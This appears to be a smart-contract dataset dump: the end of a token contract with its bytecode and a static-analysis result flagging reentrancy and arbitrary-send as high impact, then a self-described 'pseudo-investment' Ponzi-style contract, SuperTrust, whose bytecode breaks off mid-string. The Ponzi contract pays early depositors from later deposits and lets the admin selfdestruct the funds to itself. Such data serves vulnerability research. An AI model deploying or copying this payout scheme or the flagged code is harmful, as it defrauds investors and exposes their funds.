_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f9a55c0116100d15780638f9a55c01461047557806395d89b41146102095780639708e9801461048b57806398a5c315146104ab57600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638da5cb5b146104375780638f70ccf71461045557600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101b65780631694505e1461027957806318160ddd146102b157806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024957600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a36565b6105f6565b005b34801561021557600080fd5b5060408051808201825260088152675341464152494e5560c01b602082015290516102409190611afb565b60405180910390f35b34801561025557600080fd5b50610269610264366004611b50565b6106b0565b6040519015158152602001610240565b34801561028557600080fd5b50601354610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b5069021e19e0c9bab24000005b604051908152602001610240565b3480156102e457600080fd5b506102696102f3366004611b7c565b6106c7565b34801561030457600080fd5b506102ca60175481565b34801561031a57600080fd5b5060405160098152602001610240565b34801561033657600080fd5b50601454610299906001600160a01b031681565b34801561035657600080fd5b50610207610365366004611bbd565b610730565b34801561037657600080fd5b50610207610385366004611bea565b610796565b34801561039657600080fd5b506102076107f9565b3480156103ab57600080fd5b506102ca6103ba366004611bbd565b610826565b3480156103cb57600080fd5b50610207610848565b3480156103e057600080fd5b506102076103ef366004611c05565b6108ec565b34801561040057600080fd5b506102ca60155481565b34801561041657600080fd5b506102ca610425366004611bbd565b60116020526000908152604090205481565b34801561044357600080fd5b506000546001600160a01b0316610299565b34801561046157600080fd5b50610207610470366004611bea565b610949565b34801561048157600080fd5b506102ca60165481565b34801561049757600080fd5b506102076104a6366004611c1e565b6109ac565b3480156104b757600080fd5b506102076104c6366004611c05565b610a19565b3480156104d757600080fd5b506102076104e6366004611c5c565b610a63565b3480156104f757600080fd5b50610269610506366004611b50565b610abc565b34801561051757600080fd5b50610269610526366004611bbd565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b50610207610ac9565b34801561055c57600080fd5b5061020761056b366004611c8e565b610aff565b34801561057c57600080fd5b506102ca61058b366004611d09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506102076105d1366004611c05565b610bbb565b3480156105e257600080fd5b506102076105f1366004611bbd565b610c05565b6001546001600160a01b0316336001600160a01b031614610644576000546001600160a01b031633146106445760405162461bcd60e51b815260040161063b90611d42565b60405180910390fd5b60005b81518110156106ac5760016010600084848151811061066857610668611d77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a481611da3565b915050610647565b5050565b60006106bd338484610d0a565b5060015b92915050565b60006106d4848484610e2e565b610726843361072185604051806060016040528060288152602001611ebb602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112cc565b610d0a565b5060019392505050565b6001546001600160a01b0316336001600160a01b031614610775576000546001600160a01b031633146107755760405162461bcd60e51b815260040161063b90611d42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6001546001600160a01b0316336001600160a01b0316146107db576000546001600160a01b031633146107db5760405162461bcd60e51b815260040161063b90611d42565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461081957600080fd5b4761082381611306565b50565b6001600160a01b0381166000908152600260205260408120546106c190611340565b6001546001600160a01b0316336001600160a01b03161461088d576000546001600160a01b0316331461088d5760405162461bcd60e51b815260040161063b90611d42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360008054600180546001600160a01b03199081166001600160a01b03841617909155169055565b6001546001600160a01b0316336001600160a01b031614610931576000546001600160a01b031633146109315760405162461bcd60e51b815260040161063b90611d42565b6611c37937e08000811161094457600080fd5b601555565b6001546001600160a01b0316336001600160a01b03161461098e576000546001600160a01b0316331461098e5760405162461bcd60e51b815260040161063b90611d42565b60148054911515600160a01b0260ff60a01b19909216919091179055565b6001546001600160a01b0316336001600160a01b0316146109f1576000546001600160a01b031633146109f15760405162461bcd60e51b815260040161063b90611d42565b601454600160a01b900460ff1615610a0857600080fd5b610a14833384846113c4565b505050565b6001546001600160a01b0316336001600160a01b031614610a5e576000546001600160a01b03163314610a5e5760405162461bcd60e51b815260040161063b90611d42565b601755565b6001546001600160a01b0316336001600160a01b031614610aa8576000546001600160a01b03163314610aa85760405162461bcd60e51b815260040161063b90611d42565b600893909355600a91909155600955600b55565b60006106bd338484610e2e565b6012546001600160a01b0316336001600160a01b031614610ae957600080fd5b6000610af430610826565b9050610823816113f2565b6001546001600160a01b0316336001600160a01b031614610b44576000546001600160a01b03163314610b445760405162461bcd60e51b815260040161063b90611d42565b60005b82811015610bb5578160056000868685818110610b6657610b66611d77565b9050602002016020810190610b7b9190611bbd565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bad81611da3565b915050610b47565b50505050565b6001546001600160a01b0316336001600160a01b031614610c00576000546001600160a01b03163314610c005760405162461bcd60e51b815260040161063b90611d42565b601655565b6001546001600160a01b0316336001600160a01b031614610c4a576000546001600160a01b03163314610c4a5760405162461bcd60e51b815260040161063b90611d42565b6001600160a01b038116610caf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d6c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063b565b6001600160a01b038216610dcd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e925760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063b565b6001600160a01b038216610ef45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063b565b60008111610f565760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063b565b6000546001600160a01b03848116911614801590610f8257506000546001600160a01b03838116911614155b156111c557601454600160a01b900460ff1661101b576000546001600160a01b0384811691161461101b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161063b565b60155481111561106d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161063b565b6001600160a01b03831660009081526010602052604090205460ff161580156110af57506001600160a01b03821660009081526010602052604090205460ff16155b6110b857600080fd5b6014546001600160a01b038381169116146110ee57601654816110da84610826565b6110e49190611dbc565b106110ee57600080fd5b60006110f930610826565b6017546015549192508210159082106111125760155491505b8080156111295750601454600160a81b900460ff16155b801561114357506014546001600160a01b03868116911614155b80156111585750601454600160b01b900460ff165b801561117d57506001600160a01b03851660009081526005602052604090205460ff16155b80156111a257506001600160a01b03841660009081526005602052604090205460ff16155b156111c2576111b0826113f2565b4780156111c0576111c047611306565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061120757506001600160a01b03831660009081526005602052604090205460ff165b8061123957506014546001600160a01b0385811691161480159061123957506014546001600160a01b03848116911614155b15611246575060006112c0565b6014546001600160a01b03858116911614801561127157506013546001600160a01b03848116911614155b1561128357600854600c55600954600d555b6014546001600160a01b0384811691161480156112ae57506013546001600160a01b03858116911614155b156112c057600a54600c55600b54600d555b610bb5848484846113c4565b600081848411156112f05760405162461bcd60e51b815260040161063b9190611afb565b5060006112fd8486611dd4565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ac573d6000803e3d6000fd5b60006006548211156113a75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161063b565b60006113b161156c565b90506113bd838261158f565b9392505050565b806113d1576113d16115d1565b6113dc8484846115ff565b80610bb557610bb5600e54600c55600f54600d55565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061143a5761143a611d77565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611493573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b79190611deb565b816001815181106114ca576114ca611d77565b6001600160a01b0392831660209182029290920101526013546114f09130911684610d0a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611529908590600090869030904290600401611e08565b600060405180830381600087803b15801561154357600080fd5b505af1158015611557573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b60008060006115796116f6565b9092509050611588828261158f565b9250505090565b60006113bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061173a565b600c541580156115e15750600d54155b156115e857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061161187611768565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061164390876117c5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116729086611807565b6001600160a01b03891660009081526002602052604090205561169481611866565b61169e84836118b0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116e391815260200190565b60405180910390a3505050505050505050565b600654600090819069021e19e0c9bab2400000611713828261158f565b8210156117315750506006549269021e19e0c9bab240000092509050565b90939092509050565b6000818361175b5760405162461bcd60e51b815260040161063b9190611afb565b5060006112fd8486611e79565b60008060008060008060008060006117858a600c54600d546118d4565b925092509250600061179561156c565b905060008060006117a88e878787611929565b919e509c509a509598509396509194505050505091939550919395565b60006113bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112cc565b6000806118148385611dbc565b9050838110156113bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063b565b600061187061156c565b9050600061187e8383611979565b3060009081526002602052604090205490915061189b9082611807565b30600090815260026020526040902055505050565b6006546118bd90836117c5565b6006556007546118cd9082611807565b6007555050565b60008080806118ee60646118e88989611979565b9061158f565b9050600061190160646118e88a89611979565b90506000611919826119138b866117c5565b906117c5565b9992985090965090945050505050565b60008080806119388886611979565b905060006119468887611979565b905060006119548888611979565b905060006119668261191386866117c5565b939b939a50919850919650505050505050565b60008260000361198b575060006106c1565b60006119978385611e9b565b9050826119a48583611e79565b146113bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082357600080fd5b8035611a3181611a11565b919050565b60006020808385031215611a4957600080fd5b823567ffffffffffffffff80821115611a6157600080fd5b818501915085601f830112611a7557600080fd5b813581811115611a8757611a876119fb565b8060051b604051601f19603f83011681018181108582111715611aac57611aac6119fb565b604052918252848201925083810185019188831115611aca57600080fd5b938501935b82851015611aef57611ae085611a26565b84529385019392850192611acf565b98975050505050505050565b600060208083528351808285015260005b81811015611b2857858101830151858201604001528201611b0c565b81811115611b3a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b6357600080fd5b8235611b6e81611a11565b946020939093013593505050565b600080600060608486031215611b9157600080fd5b8335611b9c81611a11565b92506020840135611bac81611a11565b929592945050506040919091013590565b600060208284031215611bcf57600080fd5b81356113bd81611a11565b80358015158114611a3157600080fd5b600060208284031215611bfc57600080fd5b6113bd82611bda565b600060208284031215611c1757600080fd5b5035919050565b600080600060608486031215611c3357600080fd5b8335611c3e81611a11565b925060208401359150611c5360408501611bda565b90509250925092565b60008060008060808587031215611c7257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ca357600080fd5b833567ffffffffffffffff80821115611cbb57600080fd5b818601915086601f830112611ccf57600080fd5b813581811115611cde57600080fd5b8760208260051b8501011115611cf357600080fd5b602092830195509350611c539186019050611bda565b60008060408385031215611d1c57600080fd5b8235611d2781611a11565b91506020830135611d3781611a11565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611db557611db5611d8d565b5060010190565b60008219821115611dcf57611dcf611d8d565b500190565b600082821015611de657611de6611d8d565b500390565b600060208284031215611dfd57600080fd5b81516113bd81611a11565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e585784516001600160a01b031683529383019391830191600101611e33565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e9657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611eb557611eb5611d8d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220198f3ecfa930988357edc5ba36ba9f8c03a4730e31452d696778a1a311abfe8364736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,447 |
0x22a0a8ebe16cdec6edcc7e55f1787e7aee99fb85
|
pragma solidity ^0.4.25;
//
// ____ ______ __
// /\ _`\ /\__ _\ /\ \__
// \ \,\L\_\ __ __ _____ __ _ __ \/_/\ \/ _ __ __ __ ____\ \ ,_\
// \/_\__ \ /\ \/\ \/\ '__`\ /'__`\/\`'__\ \ \ \/\`'__\/\ \/\ \ /',__\\ \ \/
// /\ \L\ \ \ \_\ \ \ \L\ \/\ __/\ \ \/ \ \ \ \ \/ \ \ \_\ \/\__, `\\ \ \_
// \ `\____\ \____/\ \ ,__/\ \____\\ \_\ \ \_\ \_\ \ \____/\/\____/ \ \__\
// \/_____/\/___/ \ \ \/ \/____/ \/_/ \/_/\/_/ \/___/ \/___/ \/__/
// \ \_\
// \/_/
//
// ETHEREUM PSEUDO-INVESTMENT SMART CONTRACT
//
// Make a payment to this address to become a participant. Once invested,
// any following transactions of any amount will request dividend payout
// for you and increase invested amount.
//
// Easter Eggs:
// 1. If a function "advertise" called by any ethereum address with supplied
// referring address and at least 0.15 ETH, and referring address makes
// payments in future, referrer address will receive 3% referral bonuses.
// E.g., in geth console you can do the following:
//
// var abi = eth.contract(<TrustABI>);
// var contract = abi.at("<TrustAddress>");
// var calldata = contract.advertise.getData("<TargetAddress>");
// web3.eth.sendTransaction({from:"<YourAddress>", to:"<TrustAddress>",
// data: calldata, value: web3.toWei(0.15, "ether"), gas:200000});
//
// Copypaste and insert your values into "<>" placeholders.
//
// Referring wallet will receive an advertisement payment of 1 WEI and your
// supplied ETH value will be invested. PLEASE NOTE that 0.15 ETH price
// may be changed - see "Read Contract" tab on etherscan.io.
//
// 2. Gold investor receive instant 3% bonus payments, when regular
// investors make payments greater than 0.05 ETH on each N-th transaction.
//
// 3. Gold referrer will receive additional bonus in similar way as the gold
// investor.
//
// Please do not send payments via contracts and other unusual ways -
// these payments may be lost. Recommended gas limit per transaction is
// 200000.
//
// Initial GAIN: 4%
// Referral Bonus: 3% from investments
// Gold Bonus: 3% from every N-th investment
// Project Fee: 3% from dividends
// Minimum investment: No limit
// Other questions: apiman45445 at protonmail.com
//
contract SuperTrust {
// Generate public view getters for game settings and stats
address public admin = msg.sender;
uint256 public round = 0;
uint256 public payoutFee;
uint256 public goldBonus;
uint256 public referralBonus;
uint256 public investorGain;
uint256 public bonusInterval;
uint256 public bonusThreshold;
uint256 public advPrice;
uint256 public investorCount;
uint256 public avgMinedPerDay;
uint256 public collectedFee = 0;
bool public lastRound = false;
// Hide some data from public access to prevent manipulations
mapping(uint256 => mapping(address => Investor)) private investors;
mapping(uint256 => mapping(address => address)) private referrals;
address[2] private board;
uint256 private roulett;
struct Investor {
uint256 deposit;
uint256 block;
uint256 refBalance;
bool banned;
}
function globalReinitialization() private {
payoutFee = 3;
goldBonus = 3;
referralBonus = 3;
investorGain = 4;
bonusInterval = 5;
bonusThreshold = 0.05 ether;
advPrice = 0.15 ether;
investorCount = 0;
avgMinedPerDay = 5900;
board = [admin, admin];
roulett = bonusInterval * board.length;
}
constructor () public {
globalReinitialization();
}
//
// Administration
//
event LogAdminRetired(address, address, address);
event LogPayoutFeeChanged(address, uint256, uint256);
event LogGoldBonusChanged(address, uint256, uint256);
event LogReferralBonusChanged(address, uint256, uint256);
event LogInvestorGainChanged(address, uint256, uint256);
event LogBonusIntervalChanged(address, uint256, uint256);
event LogBonusThresholdChanged(address, uint256, uint256);
event LogAdvPriceChanged(address, uint256, uint256);
event LogAvgMinedPerDayChanged(address, uint256, uint256);
event LogReferrerBanned(address, address, string);
modifier asAdmin {
require(msg.sender == admin, "unauthorized function call");
_;
}
function retireAdmin(address newAdmin) public asAdmin {
emit LogAdminRetired(msg.sender, admin, newAdmin);
admin = newAdmin;
}
function setPayoutFee(uint256 newValue) public asAdmin {
// Administrator cannot withdraw all money at any time.
require((newValue > 0) && (newValue <= 10));
emit LogPayoutFeeChanged(msg.sender, payoutFee, newValue);
payoutFee = newValue;
}
function setGoldBonus(uint256 newValue) public asAdmin {
require((newValue > 0) && (newValue <= 10));
emit LogGoldBonusChanged(msg.sender, goldBonus, newValue);
goldBonus = newValue;
}
function setReferralBonus(uint256 newValue) public asAdmin {
require((newValue > 0) && (newValue <= 10));
emit LogReferralBonusChanged(msg.sender, referralBonus, newValue);
referralBonus = newValue;
}
function setInvestorGain(uint256 newValue) public asAdmin {
require((newValue > 0) && (newValue <= 5));
emit LogInvestorGainChanged(msg.sender, investorGain, newValue);
investorGain = newValue;
}
function setBonusInterval(uint256 newValue) public asAdmin {
require(newValue > 0);
emit LogBonusIntervalChanged(msg.sender, bonusInterval, newValue);
bonusInterval = newValue;
roulett = bonusInterval * board.length;
}
function setBonusThreshold(uint256 newValue) public asAdmin {
emit LogBonusThresholdChanged(msg.sender, bonusThreshold, newValue);
bonusThreshold = newValue;
}
function setAdvPrice(uint256 newValue) public asAdmin {
emit LogAdvPriceChanged(msg.sender, advPrice, newValue);
advPrice = newValue;
}
function setAvgMinedPerDay(uint256 newValue) public asAdmin {
require(newValue >= 4000);
emit LogAvgMinedPerDayChanged(msg.sender, avgMinedPerDay, newValue);
avgMinedPerDay = newValue;
}
function collectFee(uint256 percent) public asAdmin {
require(percent <= 100);
uint256 amount = (collectedFee * percent) / 100;
require(amount <= collectedFee);
collectedFee -= amount;
admin.transfer(amount);
}
function banReferrer(address target) public asAdmin {
require(target != admin);
emit LogReferrerBanned(msg.sender, target, "Violating referrer banned");
investors[round][target].banned = true;
board[1] = admin; // refBonus of admin is always zero
}
function unbanReferrer(address target) public asAdmin {
require(target != admin);
emit LogReferrerBanned(msg.sender, target, "Referrer unbanned");
investors[round][target].banned = false;
}
//
// Game logic
//
event LogGoldBonus(address, address, uint256);
event LogReferralBonus(address, address, uint256);
event LogAdvertisement(address, address, uint256);
event LogNewInvestor(address, uint256);
event LogRoundEnd(address, uint256, uint256, uint256);
event LogBoardChange(address, uint256, string);
function payoutBonuses() private {
// GOLD bonus payout, if any
roulett--;
if (roulett % bonusInterval == 0) {
uint256 bonusAmount = (msg.value * goldBonus) / 100;
uint256 winnIdx = roulett / bonusInterval;
if ((board[winnIdx] != msg.sender) && (board[winnIdx] != admin)) {
// Payouts to itself are not applicable, admin has its own reward
emit LogGoldBonus(msg.sender, board[winnIdx], bonusAmount);
payoutBalanceCheck(board[winnIdx], bonusAmount);
}
}
if (roulett == 0)
roulett = bonusInterval * board.length;
}
function payoutReferrer() private {
uint256 bonusAmount = (msg.value * referralBonus) / 100;
address referrer = referrals[round][msg.sender];
if (!investors[round][referrer].banned) {
if (referrer != admin)
investors[round][referrer].refBalance += bonusAmount;
emit LogReferralBonus(msg.sender, referrer, bonusAmount);
updateGoldReferrer(referrer);
payoutBalanceCheck(referrer, bonusAmount);
}
}
function payoutBalanceCheck(address to, uint256 value) private {
if (to == admin) {
collectedFee += value;
return;
}
if (value > (address(this).balance - 0.01 ether)) {
if (lastRound)
selfdestruct(admin);
emit LogRoundEnd(msg.sender, value, address(this).balance, round);
globalReinitialization();
round++;
return;
}
to.transfer(value);
}
function processDividends() private {
if (investors[round][msg.sender].deposit != 0) {
// ((investorGain% from deposit) * minedBlocks) / avgMinedPerDay
uint256 deposit = investors[round][msg.sender].deposit;
uint256 previousBlock = investors[round][msg.sender].block;
uint256 minedBlocks = block.number - previousBlock;
uint256 dailyIncome = (deposit * investorGain) / 100;
uint256 divsAmount = (dailyIncome * minedBlocks) / avgMinedPerDay;
collectedFee += (divsAmount * payoutFee) / 100;
payoutBalanceCheck(msg.sender, divsAmount);
}
else if (msg.value != 0) {
emit LogNewInvestor(msg.sender, ++investorCount);
}
investors[round][msg.sender].block = block.number;
investors[round][msg.sender].deposit += msg.value;
}
function updateGoldInvestor(address candidate) private {
uint256 candidateDeposit = investors[round][candidate].deposit;
if (candidateDeposit > investors[round][board[0]].deposit) {
board[0] = candidate;
emit LogBoardChange(candidate, candidateDeposit,
"Congrats! New Gold Investor!");
}
}
function updateGoldReferrer(address candidate) private {
// Admin can refer participants, but will not be the gold referrer.
if ((candidate != admin) && (!investors[round][candidate].banned)) {
uint256 candidateRefBalance = investors[round][candidate].refBalance;
uint256 goldReferrerBalance = investors[round][board[1]].refBalance;
if (candidateRefBalance > goldReferrerBalance) {
board[1] = candidate;
emit LogBoardChange(candidate, candidateRefBalance,
"Congrats! New Gold Referrer!");
}
}
}
function regularPayment() private {
if (msg.value >= bonusThreshold) {
payoutBonuses();
if (referrals[round][msg.sender] != 0)
payoutReferrer();
}
processDividends();
updateGoldInvestor(msg.sender);
}
function advertise(address targetAddress) external payable {
// Any violation results in failed transaction
if (investors[round][msg.sender].banned)
revert("You are violating the rules and banned");
if ((msg.sender != admin) && (msg.value < advPrice))
revert("Need more ETH to make an advertiement");
if (investors[round][targetAddress].deposit != 0)
revert("Advertising address is already an investor");
if (referrals[round][targetAddress] != 0)
revert("Address already advertised");
emit LogAdvertisement(msg.sender, targetAddress, msg.value);
referrals[round][targetAddress] = msg.sender;
targetAddress.transfer(1 wei);
regularPayment();
}
function () external payable {
regularPayment();
}
}
|
0x6080604052600436106101535763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663146ca531811461015d5780631e2bdfdf146101845780634063d5631461019c57806352a9a35e146101b0578063532d1da2146101d15780637a71055d146101e657806382bc07e6146101fe5780639157017a14610227578063989900e01461023c5780639a037aa0146102515780639ca0e5e1146102695780639fe1f23914610281578063a969ff0a14610296578063a977449e146102ae578063afb00703146102cf578063b5f6b1f6146102e4578063bc4eaa3e146102fc578063bfd8300d14610311578063c7be44fa14610329578063cc3b8e061461034a578063ce7842f51461035f578063d7e64c0014610374578063dea2356c14610389578063e18e34d5146103a1578063e811f50a146103b9578063f851a440146103ce575b61015b6103ff565b005b34801561016957600080fd5b50610172610456565b60408051918252519081900360200190f35b34801561019057600080fd5b5061015b60043561045c565b61015b600160a060020a03600435166104f4565b3480156101bc57600080fd5b5061015b600160a060020a03600435166107f3565b3480156101dd57600080fd5b506101726108b1565b3480156101f257600080fd5b5061015b6004356108b7565b34801561020a57600080fd5b5061021361095e565b604080519115158252519081900360200190f35b34801561023357600080fd5b50610172610967565b34801561024857600080fd5b5061017261096d565b34801561025d57600080fd5b5061015b600435610973565b34801561027557600080fd5b5061015b600435610a27565b34801561028d57600080fd5b50610172610adb565b3480156102a257600080fd5b5061015b600435610ae1565b3480156102ba57600080fd5b5061015b600160a060020a0360043516610b9e565b3480156102db57600080fd5b50610172610cb1565b3480156102f057600080fd5b5061015b600435610cb7565b34801561030857600080fd5b50610172610d4f565b34801561031d57600080fd5b5061015b600435610d55565b34801561033557600080fd5b5061015b600160a060020a0360043516610e02565b34801561035657600080fd5b50610172610f31565b34801561036b57600080fd5b50610172610f37565b34801561038057600080fd5b50610172610f3d565b34801561039557600080fd5b5061015b600435610f43565b3480156103ad57600080fd5b5061015b600435610ff7565b3480156103c557600080fd5b506101726110ab565b3480156103da57600080fd5b506103e36110b1565b60408051600160a060020a039092168252519081900360200190f35b6007543410610443576104106110c0565b6001546000908152600e60209081526040808320338452909152902054600160a060020a031615610443576104436111e3565b61044b6112e5565b61045433611415565b565b60015481565b600054600160a060020a031633146104ac576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b600854604080513381526020810192909252818101839052517f8a10994257a19df4bc09c2415ba440ecce6c2ed8dad7f2de9bae05f8b73e78249181900360600190a1600855565b6001546000908152600d6020908152604080832033845290915290206003015460ff1615610592576040805160e560020a62461bcd02815260206004820152602660248201527f596f75206172652076696f6c6174696e67207468652072756c657320616e642060448201527f62616e6e65640000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600054600160a060020a031633148015906105ae575060085434105b15610629576040805160e560020a62461bcd02815260206004820152602560248201527f4e656564206d6f72652045544820746f206d616b6520616e206164766572746960448201527f656d656e74000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6001546000908152600d60209081526040808320600160a060020a0385168452909152902054156106ca576040805160e560020a62461bcd02815260206004820152602a60248201527f4164766572746973696e67206164647265737320697320616c7265616479206160448201527f6e20696e766573746f7200000000000000000000000000000000000000000000606482015290519081900360840190fd5b6001546000908152600e60209081526040808320600160a060020a0380861685529252909120541615610747576040805160e560020a62461bcd02815260206004820152601a60248201527f4164647265737320616c72656164792061647665727469736564000000000000604482015290519081900360640190fd5b60408051338152600160a060020a0383166020820152348183015290517f4a8aba013273e114ea45b7e20eff6af2e87655c6d8367cc4b9068d42623c3d6f9181900360600190a1600180546000908152600e60209081526040808320600160a060020a03861680855292528083208054600160a060020a031916331790555190929082818181858883f193505050501580156107e7573d6000803e3d6000fd5b506107f06103ff565b50565b600054600160a060020a03163314610843576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b60005460408051338152600160a060020a03928316602082015291831682820152517fb5eeedc598b40dfc9749f372fe7d51235340dd1fcd124df2553a011c31f955cb9181900360600190a160008054600160a060020a031916600160a060020a0392909216919091179055565b60035481565b600054600160a060020a03163314610907576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b610fa081101561091657600080fd5b600a54604080513381526020810192909252818101839052517f3e85c41cabdec312367123a85739619dcc821f1c9961815ea411c36697d418e39181900360600190a1600a55565b600c5460ff1681565b60065481565b600a5481565b600054600160a060020a031633146109c3576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b6000811180156109d45750600a8111155b15156109df57600080fd5b600454604080513381526020810192909252818101839052517fb53ff19c39d964da67d2978c2bef4d55ce657dba01437eb4864d4fd3eee743709181900360600190a1600455565b600054600160a060020a03163314610a77576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b600081118015610a885750600a8111155b1515610a9357600080fd5b600354604080513381526020810192909252818101839052517f15809ea8a2af63479e1f9fee97d777052e83bda25edf71608b720fdff9c5b44b9181900360600190a1600355565b60025481565b60008054600160a060020a03163314610b32576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b6064821115610b4057600080fd5b50600b5460648282020490811115610b5757600080fd5b600b8054829003905560008054604051600160a060020a039091169183156108fc02918491818181858888f19350505050158015610b99573d6000803e3d6000fd5b505050565b600054600160a060020a03163314610bee576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b600054600160a060020a0382811691161415610c0957600080fd5b60408051338152600160a060020a038316602082015260608183018190526011908201527f526566657272657220756e62616e6e6564000000000000000000000000000000608082015290517f0dfcf67de70048b98d859314432f1a4b5c3e284f4457fcfda84863efd450573f9181900360a00190a16001546000908152600d60209081526040808320600160a060020a03909416835292905220600301805460ff19169055565b60085481565b600054600160a060020a03163314610d07576040805160e560020a62461bcd02815260206004820152601a60248201526000805160206117db833981519152604482015290519081900360640190fd5b600754604080513381526020810192909252818101839052517fc4a76eb7dd7ce00afdf99e62101a2e7851843e1e94751a7eab77bf6be2403